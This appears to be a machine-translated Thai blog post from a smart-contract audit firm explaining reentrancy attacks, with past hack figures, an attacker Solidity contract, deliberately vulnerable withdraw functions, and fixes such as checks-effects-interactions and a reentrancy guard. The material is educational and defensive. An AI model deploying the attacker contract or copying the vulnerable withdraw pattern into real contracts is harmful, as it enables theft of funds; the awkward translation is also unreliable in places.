อ่านเวลา: 6 นาที
หากเราพิจารณาการแฮ็กคริปโตที่ใหญ่ที่สุดอย่างใกล้ชิดและตัวเลขที่ชวนน้ำลายสอที่สูญเสียไปจากพวกเขา พวกเขาจะหยั่งรากลึกจากข้อบกพร่องในการเข้ารหัส
ช่องโหว่ด้านความปลอดภัยที่เกิดขึ้นบ่อยอย่างหนึ่งคือการโจมตีแบบ Reentrancy อย่างไรก็ตาม ผลการทำลายล้างที่เกิดจากการกลับเข้ามาใหม่อย่างไม่ถูกต้องอาจไม่ฟังดูง่ายเหมือนการเปิดการโจมตีเสียเอง
แม้จะเป็นปัญหาที่คุ้นเคยและได้รับการเผยแพร่เป็นอย่างดี การปรากฏตัวของบั๊ก Reentrancy ในสัญญาอัจฉริยะเป็นสิ่งที่หลีกเลี่ยงไม่ได้เสมอ
แฮ็กเกอร์ใช้ช่องโหว่ Reentrancy บ่อยเพียงใดในช่วงหลายปีที่ผ่านมา มันทำงานอย่างไร? จะยับยั้งสัญญาอัจฉริยะจากการสูญเสียเงินทุนไปยังบั๊ก Reentrancy ได้อย่างไร ค้นหาคำตอบสำหรับคำถามเหล่านี้ในบล็อกนี้
ดังนั้น อีกไม่นาน เรามาทำความเข้าใจเกี่ยวกับการโจมตีกลับเข้าใหม่ที่ใหญ่ที่สุดในหน่วยความจำกันดีกว่า
การแฮ็กการกลับเข้าระบบตามเวลาจริงที่น่าอับอายที่สุดบางส่วน
การโจมตีแบบ Reentrancy ที่สร้างผลกระทบร้ายแรงที่สุดต่อโปรเจกต์ลงเอยด้วยการทำอย่างใดอย่างหนึ่งหรือทั้งสองอย่าง
- ระบาย Ether ออกจากสัญญาอัจฉริยะอย่างสมบูรณ์
- แฮ็กเกอร์แอบเข้าไปในรหัสสัญญาอัจฉริยะ
ตอนนี้เราสามารถสังเกตการโจมตีแบบ Reentrancy และผลกระทบได้บางกรณี
มิ.ย. 2016: การโจมตี DAO – อีเธอร์ 3.54 ล้านหรือ 150 ล้านดอลลาร์
เม.ย. 2020: การแฮ็ก Uniswap/Lendf.Me – $25M
2021 พฤษภาคม: การแฮ็ก BurgerSwap – 7.2 ล้านเหรียญ
2021 ส.ค. การแฮ็คการเงินของ CREAM – 18.8 ล้านเหรียญ
มี.ค. 2022: การเงิน Ola – 3.6 ล้านเหรียญ
2022 ก.ค.: โปรโตคอล OMNI – $1.43M
เห็นได้ชัดว่าการโจมตีของ Reentrancy ไม่เคยล้าสมัย ให้เราได้รับข้อมูลเชิงลึกในข้อความต่อไปนี้
ภาพรวมของการโจมตี Reentrancy
จากชื่อ “Reentrancy” ที่มีความหมายว่า การโจมตีแบบ Reentrancy เกี่ยวข้องกับสัญญาสองฉบับ: สัญญาของเหยื่อและสัญญาของผู้โจมตี
สัญญาของผู้โจมตีใช้ประโยชน์จากช่องโหว่ในการกลับเข้ามาใหม่ในสัญญาของเหยื่อ มันใช้ฟังก์ชั่นการถอนเพื่อให้บรรลุ
สัญญาของผู้โจมตีเรียกฟังก์ชันการถอนเงินเพื่อระบายเงินออกจากสัญญาของเหยื่อโดยการโทรซ้ำก่อนที่ยอดคงเหลือในสัญญาของเหยื่อจะได้รับการอัปเดต สัญญาของเหยื่อจะตรวจสอบยอดเงิน ส่งเงิน และปรับปรุงยอดเงิน
แต่ภายในกรอบเวลาของการส่งเงินและอัปเดตยอดคงเหลือในสัญญา สัญญาของผู้โจมตีจะทำการเรียกถอนเงินอย่างต่อเนื่อง เป็นผลให้ยอดคงเหลือไม่ได้รับการอัพเดตในสัญญาของเหยื่อจนกว่าสัญญาของผู้โจมตีจะระบายเงินทุนทั้งหมด
ความรุนแรงและต้นทุนของการแสวงประโยชน์จากการย้ายถิ่นฐานกลับเป็นสัญญาณเตือนถึงความจำเป็นอย่างยิ่งในการดำเนินการ การตรวจสอบสัญญาอัจฉริยะ เพื่อแยกแยะความเป็นไปได้ที่จะมองข้ามข้อผิดพลาดดังกล่าว
มุมมองภาพประกอบของ Reentrancy Attack
ลองทำความเข้าใจแนวคิดของการโจมตีกลับเข้าใหม่จากภาพประกอบด้านล่าง
นี่คือสัญญาสองฉบับ: สัญญาที่มีช่องโหว่และสัญญาแฮ็กเกอร์
สัญญาของแฮ็กเกอร์เรียกร้องให้ถอนตัวจากสัญญาที่มีช่องโหว่ เมื่อรับสาย สัญญาที่มีช่องโหว่จะตรวจสอบเงินในสัญญาของแฮ็กเกอร์ จากนั้นจึงโอนเงินไปให้แฮ็กเกอร์
แฮ็กเกอร์ได้รับเงินและใช้ฟังก์ชันสำรอง ซึ่งเรียกใช้อีกครั้งในสัญญาที่มีช่องโหว่ ก่อนที่ยอดคงเหลือจะได้รับการอัปเดตในสัญญาที่มีช่องโหว่ ดังนั้น การดำเนินการเดิมซ้ำๆ แฮ็กเกอร์จึงถอนเงินทั้งหมดออกจากสัญญาที่มีช่องโหว่
คุณลักษณะของฟังก์ชันสำรองที่ใช้โดยผู้โจมตี
- สามารถเรียกใช้จากภายนอกได้ คือไม่สามารถเรียกได้จากภายในสัญญาที่เขียนไว้
- ฟังก์ชันที่ไม่มีชื่อ
- ฟังก์ชันสำรองไม่มีตรรกะตามอำเภอใจอยู่ภายใน
- ทางเลือกสำรองจะถูกเรียกใช้เมื่อ ETH ถูกส่งไปยังสัญญาอัจฉริยะที่ล้อมรอบ และไม่มีการประกาศฟังก์ชันรับ ()
วิเคราะห์ Reentrancy Attack จากมุมมองทางเทคนิค
มาดูสัญญาตัวอย่างและทำความเข้าใจว่าการโจมตีการกลับเข้ามาใหม่เกิดขึ้นได้อย่างไร
สัญญาที่เป็นอันตราย
contract Attack {
DepositFunds public depositFunds;
constructor(address _depositFundsAddress) {
depositFunds = DepositFunds(_depositFundsAddress);
}
// Fallback is called when DepositFunds sends Ether to this contract.
fallback() external payable {
if (address(depositFunds).balance >= 1 ether) {
depositFunds.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
depositFunds.deposit{value: 1 ether}();
depositFunds.withdraw();
}
}
นี่คือสัญญาของผู้โจมตีที่ผู้โจมตีฝาก 2ETH ผู้โจมตีเรียกใช้ฟังก์ชันการถอนในสัญญาที่มีช่องโหว่ เมื่อได้รับเงินจากสัญญาที่มีช่องโหว่แล้ว ฟังก์ชันสำรองจะทำงาน
แผนสำรองจะใช้ฟังก์ชันถอนเงินและระบายเงินออกจากสัญญาที่มีช่องโหว่ รอบนี้จะดำเนินต่อไปจนกว่าเงินทุนจะหมดจากสัญญาที่มีช่องโหว่
สัญญาที่มีช่องโหว่
contract DepositFunds {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
}
สัญญาที่มีช่องโหว่มี 30ETH ในที่นี้ ฟังก์ชันการถอน () จะส่งจำนวนเงินที่ร้องขอไปยังผู้โจมตี เนื่องจากยอดคงเหลือไม่ได้รับการอัพเดต โทเค็นจึงถูกโอนไปยังผู้โจมตีซ้ำๆ
ประเภทของการโจมตี Reentrancy
- การกลับเข้าใช้ฟังก์ชันเดียว
function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}
msg.sender.call.value(amount)() จะโอนเงินหลังจากที่ฟังก์ชันสำรองสัญญาของผู้โจมตีเรียกใช้การถอน () อีกครั้งก่อนที่จะมีการอัปเดตยอดคงเหลือ [msg.sender] = 0
- การย้อนกลับข้ามฟังก์ชัน
function transfer(address to, uint amount) external {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}
การกลับเข้ามาใหม่แบบข้ามสายงานนั้นซับซ้อนกว่าในการระบุ ความแตกต่างในที่นี้คือการเรียกใช้ฟังก์ชันสำรองเพื่อโอน ซึ่งแตกต่างจากการกลับเข้าใช้ฟังก์ชันเดียวซึ่งเรียกการถอน
การป้องกันการโจมตีกลับเข้าใหม่
รูปแบบการตรวจสอบผล-การโต้ตอบ: รูปแบบการตรวจสอบผลกระทบการโต้ตอบช่วยในการจัดโครงสร้างฟังก์ชัน
ควรเขียนโปรแกรมในลักษณะที่ตรวจสอบเงื่อนไขก่อน เมื่อผ่านการตรวจสอบแล้ว ผลกระทบต่อสถานะของสัญญาควรจะได้รับการแก้ไข หลังจากนั้นจึงจะสามารถเรียกใช้ฟังก์ชันภายนอกได้
function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
require(msg.sender.call.value(amount)());
}
รหัสที่เขียนใหม่ที่นี่เป็นไปตามรูปแบบการตรวจสอบผลกระทบการโต้ตอบ ที่นี่ยอดคงเหลือเป็นศูนย์ก่อนทำการโทรออก
การใช้ตัวดัดแปลง
โมดิฟายเออร์ noReentrant ที่ใช้กับฟังก์ชันทำให้แน่ใจว่าไม่มีการเรียกใช้ reentrant
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
ในที่สุด
ขั้นตอนที่ได้ผลที่สุดคือรับการตรวจสอบสัญญาอัจฉริยะจากบริษัทรักษาความปลอดภัยชั้นนำอย่าง QuillAudits ซึ่งผู้ตรวจสอบจะจับตาดูโครงสร้างของโค้ดอย่างใกล้ชิดและตรวจสอบว่าฟังก์ชันทางเลือกทำงานอย่างไร จากรูปแบบที่ศึกษา คำแนะนำสำหรับการปรับโครงสร้างโค้ดหากดูเหมือนจะมี พฤติกรรมที่เสี่ยง.
รับประกันความปลอดภัยของเงินทุนก่อนที่จะตกเป็นเหยื่อของความสูญเสียใดๆ
คำถามที่พบบ่อย
การโจมตีกลับเข้าใหม่คืออะไร?
การโจมตีการกลับเข้าใหม่เกิดขึ้นเมื่อฟังก์ชันในสัญญาที่มีช่องโหว่ทำการเรียกสัญญาที่ไม่น่าเชื่อถือ สัญญาที่ไม่น่าเชื่อถือจะเป็นสัญญาของผู้โจมตีที่ทำการเรียกซ้ำไปยังสัญญาที่มีช่องโหว่จนกว่าเงินจะหมด
Reentrant คืออะไร?
การกลับเข้ามาหมายถึงการขัดจังหวะการดำเนินการของรหัสและเริ่มต้นกระบวนการทั้งหมดอีกครั้ง ซึ่งเรียกอีกอย่างว่าการกลับเข้ามาใหม่
Reentrancy Guard คืออะไร?
Reentrancy Guard ใช้ตัวดัดแปลงที่ป้องกันไม่ให้ฟังก์ชันถูกเรียกซ้ำ อ่านบล็อกด้านบนเพื่อค้นหาตัวอย่างสำหรับการป้องกันการเข้าใหม่
การโจมตีสัญญาอัจฉริยะมีอะไรบ้าง?
สัญญาอัจฉริยะมีความเสี่ยงมากมาย เช่น การกลับเข้ามาใหม่ การพึ่งพาการประทับเวลา เลขคณิตล้น การโจมตี DoS และอื่นๆ ดังนั้นการตรวจสอบจึงเป็นสิ่งจำเป็นเพื่อให้แน่ใจว่าไม่มีจุดบกพร่องที่ทำให้ตรรกะของสัญญาล้มเหลว
69 เข้าชม
- Bitcoin
- blockchain
- ความปลอดภัยของบล็อคเชนและสัญญาอัจฉริยะ
- การปฏิบัติตามบล็อคเชน
- การประชุม blockchain
- coinbase
- เหรียญอัจฉริยะ
- เอกฉันท์
- การประชุม crypto
- การทำเหมือง crypto
- cryptocurrency
- ซึ่งกระจายอำนาจ
- Defi
- สินทรัพย์ดิจิทัล
- ethereum
- เรียนรู้เครื่อง
- โทเค็นที่ไม่สามารถทำซ้ำได้
- เพลโต
- เพลโตไอ
- เพลโตดาต้าอินเทลลิเจนซ์
- Platoblockchain
- เพลโตดาต้า
- เพลโตเกม
- รูปหลายเหลี่ยม
- หลักฐานการเดิมพัน
- ควิลแฮช
- การรักษาความปลอดภัยสัญญาอัจฉริยะ
- สัญญาสมาร์ท
- แนวโน้ม
- W3
- ลมทะเล